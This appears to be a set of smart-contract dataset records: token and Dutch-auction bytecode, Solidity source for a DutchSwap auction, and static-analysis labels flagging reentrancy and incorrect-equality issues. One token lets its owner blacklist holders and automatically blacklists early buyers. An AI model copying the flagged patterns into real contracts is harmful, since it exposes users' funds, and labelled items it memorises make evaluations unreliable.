2915050565b60006106ae848484610e2c565b61070084336106fb85604051806060016040528060288152602001611fbc602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113f8565b610d08565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161061590611e41565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161061590611e41565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d257506014546001600160a01b0316336001600160a01b0316145b6107db57600080fd5b476107e581611432565b50565b6001600160a01b03811660009081526002602052604081205461069b9061146c565b6000546001600160a01b031633146108345760405162461bcd60e51b815260040161061590611e41565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260040161061590611e41565b6611c37937e080008111156107e557601755565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161061590611e41565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161061590611e41565b601955565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161061590611e41565b60028411156109c05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b6064820152608401610615565b600c821115610a1c5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261322560f01b6064820152608401610615565b6002831115610a7c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b6064820152608401610615565b600c811115610ad95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231322560e81b6064820152608401610615565b600993909355600b91909155600a55600c55565b6000610697338484610e2c565b6013546001600160a01b0316336001600160a01b03161480610b2f57506014546001600160a01b0316336001600160a01b0316145b610b3857600080fd5b6000610b43306107e8565b90506107e5816114f0565b6000546001600160a01b03163314610b785760405162461bcd60e51b815260040161061590611e41565b60005b82811015610be9578160056000868685818110610b9a57610b9a611e76565b9050602002016020810190610baf9190611cf1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be181611ea2565b915050610b7b565b50505050565b6000546001600160a01b03163314610c195760405162461bcd60e51b815260040161061590611e41565b601855565b6000546001600160a01b03163314610c485760405162461bcd60e51b815260040161061590611e41565b6001600160a01b038116610cad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610dcb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610ef25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610f545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610f8057506000546001600160a01b03838116911614155b156112d857601654600160a01b900460ff16611019576000546001600160a01b038481169116146110195760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b60175481111561106b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526011602052604090205460ff161580156110ad57506001600160a01b03821660009081526011602052604090205460ff16155b6111055760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610615565b600854431115801561112457506016546001600160a01b038481169116145b801561113e57506015546001600160a01b03838116911614155b801561115357506001600160a01b0382163014155b1561117c576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611201576018548161119e846107e8565b6111a89190611ebd565b106112015760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b600061120c306107e8565b6019546017549192508210159082106112255760175491505b80801561123c5750601654600160a81b900460ff16155b801561125657506016546001600160a01b03868116911614155b801561126b5750601654600160b01b900460ff165b801561129057506001600160a01b03851660009081526005602052604090205460ff16155b80156112b557506001600160a01b03841660009081526005602052604090205460ff16155b156112d5576112c3826114f0565b4780156112d3576112d347611432565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131a57506001600160a01b03831660009081526005602052604090205460ff165b8061134c57506016546001600160a01b0385811691161480159061134c57506016546001600160a01b03848116911614155b15611359575060006113ec565b6016546001600160a01b03858116911614801561138457506015546001600160a01b03848116911614155b1561139657600954600d55600a54600e555b6016546001600160a01b0384811691161480156113c157506015546001600160a01b03858116911614155b156113ec57600b54600d55600c54600e556008546113e090600a611ebd565b43116113ec576032600e555b610be984848484611679565b6000818484111561141c5760405162461bcd60e51b81526004016106159190611c2f565b5060006114298486611ed5565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610686573d6000803e3d6000fd5b60006006548211156114d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b60006114dd6116a7565b90506114e983826116ca565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061153857611538611e76565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561158c57600080fd5b505afa1580156115a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c49190611eec565b816001815181106115d7576115d7611e76565b6001600160a01b0392831660209182029290920101526015546115fd9130911684610d08565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611636908590600090869030904290600401611f09565b600060405180830381600087803b15801561165057600080fd5b505af1158015611664573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b806116865761168661170c565b61169184848461173a565b80610be957610be9600f54600d55601054600e55565b60008060006116b4611831565b90925090506116c382826116ca565b9250505090565b60006114e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611871565b600d5415801561171c5750600e54155b1561172357565b600d8054600f55600e805460105560009182905555565b60008060008060008061174c8761189f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061177e90876118fc565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ad908661193e565b6001600160a01b0389166000908152600260205260409020556117cf8161199d565b6117d984836119e7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161181e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061184c82826116ca565b82101561186857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118925760405162461bcd60e51b81526004016106159190611c2f565b5060006114298486611f7a565b60008060008060008060008060006118bc8a600d54600e54611a0b565b92509250925060006118cc6116a7565b905060008060006118df8e878787611a60565b919e509c509a509598509396509194505050505091939550919395565b60006114e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f8565b60008061194b8385611ebd565b9050838110156114e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b60006119a76116a7565b905060006119b58383611ab0565b306000908152600260205260409020549091506119d2908261193e565b30600090815260026020526040902055505050565b6006546119f490836118fc565b600655600754611a04908261193e565b6007555050565b6000808080611a256064611a1f8989611ab0565b906116ca565b90506000611a386064611a1f8a89611ab0565b90506000611a5082611a4a8b866118fc565b906118fc565b9992985090965090945050505050565b6000808080611a6f8886611ab0565b90506000611a7d8887611ab0565b90506000611a8b8888611ab0565b90506000611a9d82611a4a86866118fc565b939b939a50919850919650505050505050565b600082611abf5750600061069b565b6000611acb8385611f9c565b905082611ad88583611f7a565b146114e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e557600080fd5b8035611b6581611b45565b919050565b60006020808385031215611b7d57600080fd5b823567ffffffffffffffff80821115611b9557600080fd5b818501915085601f830112611ba957600080fd5b813581811115611bbb57611bbb611b2f565b8060051b604051601f19603f83011681018181108582111715611be057611be0611b2f565b604052918252848201925083810185019188831115611bfe57600080fd5b938501935b82851015611c2357611c1485611b5a565b84529385019392850192611c03565b98975050505050505050565b600060208083528351808285015260005b81811015611c5c57858101830151858201604001528201611c40565b81811115611c6e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c9757600080fd5b8235611ca281611b45565b946020939093013593505050565b600080600060608486031215611cc557600080fd5b8335611cd081611b45565b92506020840135611ce081611b45565b929592945050506040919091013590565b600060208284031215611d0357600080fd5b81356114e981611b45565b80358015158114611b6557600080fd5b600060208284031215611d3057600080fd5b6114e982611d0e565b600060208284031215611d4b57600080fd5b5035919050565b60008060008060808587031215611d6857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d9957600080fd5b833567ffffffffffffffff80821115611db157600080fd5b818601915086601f830112611dc557600080fd5b813581811115611dd457600080fd5b8760208260051b8501011115611de957600080fd5b602092830195509350611dff9186019050611d0e565b90509250925092565b60008060408385031215611e1b57600080fd5b8235611e2681611b45565b91506020830135611e3681611b45565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611eb657611eb6611e8c565b5060010190565b60008219821115611ed057611ed0611e8c565b500190565b600082821015611ee757611ee7611e8c565b500390565b600060208284031215611efe57600080fd5b81516114e981611b45565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f595784516001600160a01b031683529383019391830191600101611f34565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f9757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611fb657611fb6611e8c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209902a2ea5d2cb545fd6cd3518f7138077a0d41aa882150b6dfeeb0024025033c64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 7,763 |
0x976f035dd2bc70f0dc399eaed61090cdadee15b6
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.6.9;
contract Owned {
address payable public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) external onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256 c) {
require(b <= a, errorMessage);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
function max(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a <= b ? a : b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// ----------------------------------------------------------------------------------
// DutchSwap Auction Contract
//
//
// This contract is modified from the contract by (c) Adrian Guerrera. Deepyr Pty Ltd.
// (https://github.com/apguerrera/DutchSwap)
//
// Sep 02 2020
// -----------------------------------------------------------------------------------
contract DutchSwapAuction is Owned {
using SafeMath for uint256;
uint256 private constant TENPOW18 = 10 ** 18;
uint256 public amountRaised;
uint256 public startDate;
uint256 public endDate;
uint256 public startPrice;
uint256 public minimumPrice;
uint256 public tokenSupply;
uint256 public tokenSold;
bool public finalised;
uint256 public withdrawDelay; // delay in seconds preventing withdraws
uint256 public tokenWithdrawn; // the amount of auction tokens already withdrawn by bidders
IERC20 public auctionToken;
address payable public wallet;
mapping(address => uint256) public commitments;
uint256 private unlocked = 1;
event AddedCommitment(address addr, uint256 commitment, uint256 price);
modifier lock() {
require(unlocked == 1, 'Locked');
unlocked = 0;
_;
unlocked = 1;
}
/// @dev Init function
function initDutchAuction(
address _token,
uint256 _tokenSupply,
//uint256 _startDate,
uint256 _auctionDuration,
uint256 _startPrice,
uint256 _minimumPrice,
uint256 _withdrawDelay,
address payable _wallet
)
external onlyOwner
{
require(_auctionDuration > 0, "Auction duration should be longer than 0 seconds");
require(_startPrice > _minimumPrice, "Start price should be bigger than minimum price");
require(_minimumPrice > 0, "Minimum price should be bigger than 0");
auctionToken = IERC20(_token);
require(IERC20(auctionToken).transferFrom(msg.sender, address(this), _tokenSupply), "Fail to transfer tokens to this contract");
// 100 tokens are subtracted from totalSupply to ensure that this contract holds more tokens than tokenSuppy.
// This is to prevent any reverting of withdrawTokens() in case of any insufficiency of tokens due to programming
// languages' inability to handle float precisely, which might lead to extremely small insufficiency in tokens
// to be distributed. This potentail insufficiency is extremely small (far less than 1 token), which is more than
// sufficiently compensated hence.
tokenSupply =_tokenSupply.sub(100000000000000000000);
startDate = block.timestamp;
endDate = block.timestamp.add(_auctionDuration);
startPrice = _startPrice;
minimumPrice = _minimumPrice;
withdrawDelay = _withdrawDelay;
wallet = _wallet;
finalised = false;
}
// Dutch Auction Price Function
// ============================
//
// Start Price -----
// \
// \
// \
// \ ------------ Clearing Price
// / \ = AmountRaised/TokenSupply
// Token Price -- \
// / \
// -- ----------- Minimum Price
// Amount raised / End Time
//
/// @notice The average price of each token from all commitments.
function tokenPrice() public view returns (uint256) {
return amountRaised.mul(TENPOW18).div(tokenSold);
}
/// @notice Token price decreases at this rate during auction.
function priceGradient() public view returns (uint256) {
uint256 numerator = startPrice.sub(minimumPrice);
uint256 denominator = endDate.sub(startDate);
return numerator.div(denominator);
}
/// @notice Returns price during the auction
function priceFunction() public view returns (uint256) {
/// @dev Return Auction Price
if (block.timestamp <= startDate) {
return startPrice;
}
if (block.timestamp >= endDate) {
return minimumPrice;
}
uint256 priceDiff = block.timestamp.sub(startDate).mul(priceGradient());
uint256 price = startPrice.sub(priceDiff);
return price;
}
/// @notice How many tokens the user is able to claim
function tokensClaimable(address _user) public view returns (uint256) {
if(!auctionEnded()) {
return 0;
}
return commitments[_user].mul(TENPOW18).div(tokenPrice());
}
/// @notice Returns bool if successful or time has ended
function auctionEnded() public view returns (bool){
return block.timestamp > endDate;
}
/// @notice Returns true and 0 if delay time is 0, otherwise false and delay time (in seconds)
function checkWithdraw() public view returns (bool, uint256) {
if (block.timestamp < endDate) {
return (false, endDate.sub(block.timestamp).add(withdrawDelay));
}
uint256 _elapsed = block.timestamp.sub(endDate);
if (_elapsed >= withdrawDelay) {
return (true, 0);
} else {
return (false, withdrawDelay.sub(_elapsed));
}
}
/// @notice Returns the amount of auction tokens already withdrawn by bidders
function getTokenWithdrawn() public view returns (uint256) {
return tokenWithdrawn;
}
/// @notice Returns the amount of auction tokens sold but not yet withdrawn by bidders
function getTokenNotYetWithdrawn() public view returns (uint256) {
if (block.timestamp < endDate) {
return tokenSold;
}
uint256 totalTokenSold = amountRaised.mul(TENPOW18).div(tokenPrice());
return totalTokenSold.sub(tokenWithdrawn);
}
//--------------------------------------------------------
// Commit to buying tokens
//--------------------------------------------------------
/// @notice Buy Tokens by committing ETH to this contract address
receive () external payable {
commitEth(msg.sender);
}
/// @notice Commit ETH to buy tokens on sale
function commitEth (address payable _from) public payable lock {
//require(address(paymentCurrency) == ETH_ADDRESS);
require(block.timestamp >= startDate && block.timestamp <= endDate);
uint256 tokensToPurchase = msg.value.mul(TENPOW18).div(priceFunction());
// Get ETH able to be committed
uint256 tokensPurchased = calculatePurchasable(tokensToPurchase);
tokenSold = tokenSold.add(tokensPurchased);
// Accept ETH Payments
uint256 ethToTransfer = tokensPurchased < tokensToPurchase ? msg.value.mul(tokensPurchased).div(tokensToPurchase) : msg.value;
uint256 ethToRefund = msg.value.sub(ethToTransfer);
if (ethToTransfer > 0) {
addCommitment(_from, ethToTransfer);
}
// Return any ETH to be refunded
if (ethToRefund > 0) {
_from.transfer(ethToRefund);
}
}
/// @notice Commits to an amount during an auction
function addCommitment(address _addr, uint256 _commitment) internal {
commitments[_addr] = commitments[_addr].add(_commitment);
amountRaised = amountRaised.add(_commitment);
emit AddedCommitment(_addr, _commitment, tokenPrice());
}
/// @notice Returns the amount able to be committed during an auction
function calculatePurchasable(uint256 _tokensToPurchase)
public view returns (uint256)
{
uint256 maxPurchasable = tokenSupply.sub(tokenSold);
if (_tokensToPurchase > maxPurchasable) {
return maxPurchasable;
}
return _tokensToPurchase;
}
//--------------------------------------------------------
// Modify WithdrawDelay In Auction
//--------------------------------------------------------
/// @notice Removes withdraw delay
/// @dev This function can only be carreid out by the owner of this contract.
function removeWithdrawDelay() external onlyOwner {
withdrawDelay = 0;
}
/// @notice Add withdraw delay
/// @dev This function can only be carreid out by the owner of this contract.
function addWithdrawDelay(uint256 _delay) external onlyOwner {
withdrawDelay = withdrawDelay.add(_delay);
}
//--------------------------------------------------------
// Finalise Auction
//--------------------------------------------------------
/// @notice Auction finishes successfully above the reserve
/// @dev Transfer contract funds to initialised wallet.
function finaliseAuction () public {
require(!finalised && auctionEnded());
finalised = true;
//_tokenPayment(paymentCurrency, wallet, amountRaised);
wallet.transfer(amountRaised);
}
/// @notice Withdraw your tokens once the Auction has ended.
function withdrawTokens() public lock {
require(auctionEnded(), "DutchSwapAuction: Auction still live");
(bool canWithdraw,) = checkWithdraw();
require(canWithdraw == true, "DutchSwapAuction: Withdraw Delay");
uint256 fundsCommitted = commitments[ msg.sender];
require(fundsCommitted > 0, "You have no bidded tokens");
uint256 tokensToClaim = tokensClaimable(msg.sender);
commitments[ msg.sender] = 0;
tokenWithdrawn = tokenWithdrawn.add(tokensToClaim);
/// @notice Successful auction! Transfer tokens bought.
if (tokensToClaim > 0 ) {
_tokenPayment(auctionToken, msg.sender, tokensToClaim);
}
}
/// @notice Transfer unbidded auction token to a new address after auction ends
/// @dev This function can only be carreid out by the owner of this contract.
function transferLeftOver(uint256 _amount, address payable _addr) external onlyOwner returns (bool) {
require(block.timestamp > endDate.add(withdrawDelay).add(7 * 24 * 60 * 60), "Cannot transfer auction tokens within 7 days after withdraw day");
require(_amount > 0, "Cannot transfer 0 tokens");
_tokenPayment(auctionToken, _addr, _amount);
return true;
}
/// @dev Helper function to handle ERC20 payments
function _tokenPayment(IERC20 _token, address payable _to, uint256 _amount) internal {
require(_token.transfer(_to, _amount), "Fail to transfer tokens");
}
}
|
0x6080604052600436106101dc5760003560e01c80637ff9b59611610102578063c24a0f8b11610095578063f1a9af8911610064578063f1a9af8914610520578063f2fde38b14610535578063f41f8ee114610568578063fe153834146105c3576101ec565b8063c24a0f8b1461049d578063c66a5afe146104b2578063cc30cdf7146104c7578063e8fcf723146104ed576101ec565b80638da5cb5b116100d15780638da5cb5b1461042557806399fdb3201461043a578063a3aeaa8a1461044f578063a9d87ee614610488576101ec565b80637ff9b596146103d157806386433374146103e65780638ad72252146103fb5780638d8f2adb14610410576101ec565b80634dc80e151161017a5780636a2e3309116101495780636a2e3309146103685780637824407f146103925780637b3e5e7b146103a75780637f386b6c146103bc576101ec565b80634dc80e15146102da578063519ee19e1461030d578063521eb273146103225780635228733f14610353576101ec565b8063214bb60f116101b6578063214bb60f146102575780632b3853bd14610280578063326888c614610295578063359792b2146102aa576101ec565b806302808a95146101f15780630288a39c1461022d5780630b97bc8614610242576101ec565b366101ec576101ea336105d8565b005b600080fd5b3480156101fd57600080fd5b5061021b6004803603602081101561021457600080fd5b5035610706565b60408051918252519081900360200190f35b34801561023957600080fd5b5061021b61073b565b34801561024e57600080fd5b5061021b610741565b34801561026357600080fd5b5061026c610747565b604080519115158252519081900360200190f35b34801561028c57600080fd5b5061021b610750565b3480156102a157600080fd5b5061021b610756565b3480156102b657600080fd5b506102bf61075d565b60408051921515835260208301919091528051918290030190f35b3480156102e657600080fd5b5061021b600480360360208110156102fd57600080fd5b50356001600160a01b03166107e0565b34801561031957600080fd5b5061021b610832565b34801561032e57600080fd5b50610337610838565b604080516001600160a01b039092168252519081900360200190f35b34801561035f57600080fd5b506101ea610847565b34801561037457600080fd5b506101ea6004803603602081101561038b57600080fd5b50356108b4565b34801561039e57600080fd5b5061021b6108db565b3480156103b357600080fd5b5061021b6108e1565b3480156103c857600080fd5b5061021b6108e7565b3480156103dd57600080fd5b5061021b6108ed565b3480156103f257600080fd5b5061026c610917565b34801561040757600080fd5b5061021b61091f565b34801561041c57600080fd5b506101ea610973565b34801561043157600080fd5b50610337610b16565b34801561044657600080fd5b50610337610b25565b34801561045b57600080fd5b5061026c6004803603604081101561047257600080fd5b50803590602001356001600160a01b0316610b34565b34801561049457600080fd5b5061021b610c19565b3480156104a957600080fd5b5061021b610c80565b3480156104be57600080fd5b5061021b610c86565b6101ea600480360360208110156104dd57600080fd5b50356001600160a01b03166105d8565b3480156104f957600080fd5b5061021b6004803603602081101561051057600080fd5b50356001600160a01b0316610cc7565b34801561052c57600080fd5b5061021b610cd9565b34801561054157600080fd5b506101ea6004803603602081101561055857600080fd5b50356001600160a01b0316610cdf565b34801561057457600080fd5b506101ea600480360360e081101561058b57600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160808201359160a08101359160c09091013516610d22565b3480156105cf57600080fd5b506101ea610f30565b600e54600114610618576040805162461bcd60e51b8152602060048201526006602482015265131bd8dad95960d21b604482015290519081900360640190fd5b6000600e55600254421080159061063157506003544211155b61063a57600080fd5b600061065f610647610c19565b61065934670de0b6b3a7640000610f4b565b90610f6c565b9050600061066c82610706565b60075490915061067c9082610f8b565b600755600082821061068e573461069c565b61069c836106593485610f4b565b905060006106aa3483610f9b565b905081156106bc576106bc8583610fb0565b80156106fa576040516001600160a01b0386169082156108fc029083906000818181858888f193505050501580156106f8573d6000803e3d6000fd5b505b50506001600e55505050565b600080610720600754600654610f9b90919063ffffffff16565b905080831115610731579050610736565b829150505b919050565b60095481565b60025481565b60085460ff1681565b600a5481565b600a545b90565b60008060035442101561079657600061078d60095461078742600354610f9b90919063ffffffff16565b90610f8b565b915091506107dc565b60006107ad60035442610f9b90919063ffffffff16565b905060095481106107c6576001600092509250506107dc565b6009546000906107d69083610f9b565b92509250505b9091565b60006107ea610917565b6107f657506000610736565b61082c6108016108ed565b6001600160a01b0384166000908152600d602052604090205461065990670de0b6b3a7640000610f4b565b92915050565b60075481565b600c546001600160a01b031681565b60085460ff1615801561085d575061085d610917565b61086657600080fd5b6008805460ff19166001908117909155600c5490546040516001600160a01b039092169181156108fc0291906000818181858888f193505050501580156108b1573d6000803e3d6000fd5b50565b6000546001600160a01b031633146108c857fe5b6009546108d59082610f8b565b60095550565b60065481565b60015481565b60055481565b6000610912600754610659670de0b6b3a7640000600154610f4b90919063ffffffff16565b905090565b600354421190565b6000600354421015610934575060075461075a565b60006109566109416108ed565b60015461065990670de0b6b3a7640000610f4b565b905061096d600a5482610f9b90919063ffffffff16565b91505090565b600e546001146109b3576040805162461bcd60e51b8152602060048201526006602482015265131bd8dad95960d21b604482015290519081900360640190fd5b6000600e556109c0610917565b6109fb5760405162461bcd60e51b81526004018080602001828103825260248152602001806111ca6024913960400191505060405180910390fd5b6000610a0561075d565b509050600181151514610a5f576040805162461bcd60e51b815260206004820181905260248201527f44757463685377617041756374696f6e3a2057697468647261772044656c6179604482015290519081900360640190fd5b336000908152600d602052604090205480610ac1576040805162461bcd60e51b815260206004820152601960248201527f596f752068617665206e6f2062696464656420746f6b656e7300000000000000604482015290519081900360640190fd5b6000610acc336107e0565b336000908152600d6020526040812055600a54909150610aec9082610f8b565b600a558015610b0c57600b54610b0c906001600160a01b03163383611052565b50506001600e5550565b6000546001600160a01b031681565b600b546001600160a01b031681565b600080546001600160a01b03163314610b4957fe5b610b6762093a80610787600954600354610f8b90919063ffffffff16565b4211610ba45760405162461bcd60e51b815260040180806020018281038252603f81526020018061118b603f913960400191505060405180910390fd5b60008311610bf9576040805162461bcd60e51b815260206004820152601860248201527f43616e6e6f74207472616e73666572203020746f6b656e730000000000000000604482015290519081900360640190fd5b600b54610c10906001600160a01b03168385611052565b50600192915050565b60006002544211610c2d575060045461075a565b6003544210610c3f575060055461075a565b6000610c60610c4c610c86565b600254610c5a904290610f9b565b90610f4b565b90506000610c7982600454610f9b90919063ffffffff16565b9250505090565b60035481565b600080610ca0600554600454610f9b90919063ffffffff16565b90506000610cbb600254600354610f9b90919063ffffffff16565b9050610c798282610f6c565b600d6020526000908152604090205481565b60045481565b6000546001600160a01b03163314610cf357fe5b6001600160a01b038116156108b157600080546001600160a01b0383166001600160a01b031990911617905550565b6000546001600160a01b03163314610d3657fe5b60008511610d755760405162461bcd60e51b815260040180806020018281038252603081526020018061115b6030913960400191505060405180910390fd5b828411610db35760405162461bcd60e51b815260040180806020018281038252602f81526020018061112c602f913960400191505060405180910390fd5b60008311610df25760405162461bcd60e51b81526004018080602001828103825260258152602001806112166025913960400191505060405180910390fd5b600b80546001600160a01b0319166001600160a01b038981169190911791829055604080516323b872dd60e01b8152336004820152306024820152604481018a9052905192909116916323b872dd916064808201926020929091908290030181600087803b158015610e6357600080fd5b505af1158015610e77573d6000803e3d6000fd5b505050506040513d6020811015610e8d57600080fd5b5051610eca5760405162461bcd60e51b81526004018080602001828103825260288152602001806111ee6028913960400191505060405180910390fd5b610edd8668056bc75e2d63100000610f9b565b600655426002819055610ef09086610f8b565b600355600493909355600591909155600955600c80546001600160a01b0319166001600160a01b0390921691909117905550506008805460ff1916905550565b6000546001600160a01b03163314610f4457fe5b6000600955565b818102821580610f63575081838281610f6057fe5b04145b61082c57600080fd5b6000808211610f7a57600080fd5b818381610f8357fe5b049392505050565b8181018281101561082c57600080fd5b600082821115610faa57600080fd5b50900390565b6001600160a01b0382166000908152600d6020526040902054610fd39082610f8b565b6001600160a01b0383166000908152600d6020526040902055600154610ff99082610f8b565b6001557f2708a7a3988eeb427740f4fc8a40de05ea1ef186ec85ff11b09d8c486ca4a00382826110276108ed565b604080516001600160a01b039094168452602084019290925282820152519081900360600190a15050565b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156110a957600080fd5b505af11580156110bd573d6000803e3d6000fd5b505050506040513d60208110156110d357600080fd5b5051611126576040805162461bcd60e51b815260206004820152601760248201527f4661696c20746f207472616e7366657220746f6b656e73000000000000000000604482015290519081900360640190fd5b50505056fe53746172742070726963652073686f756c6420626520626967676572207468616e206d696e696d756d20707269636541756374696f6e206475726174696f6e2073686f756c64206265206c6f6e676572207468616e2030207365636f6e647343616e6e6f74207472616e736665722061756374696f6e20746f6b656e732077697468696e203720646179732061667465722077697468647261772064617944757463685377617041756374696f6e3a2041756374696f6e207374696c6c206c6976654661696c20746f207472616e7366657220746f6b656e7320746f207468697320636f6e74726163744d696e696d756d2070726963652073686f756c6420626520626967676572207468616e2030a2646970667358221220a1021e30d77351b9ddfb4bfe389657e41a0af5f4f44740be9bbd6555339a31ea64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 7,764 |
0xcdd48d9e27808b05cf4f996cca570d92d04c6f22
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
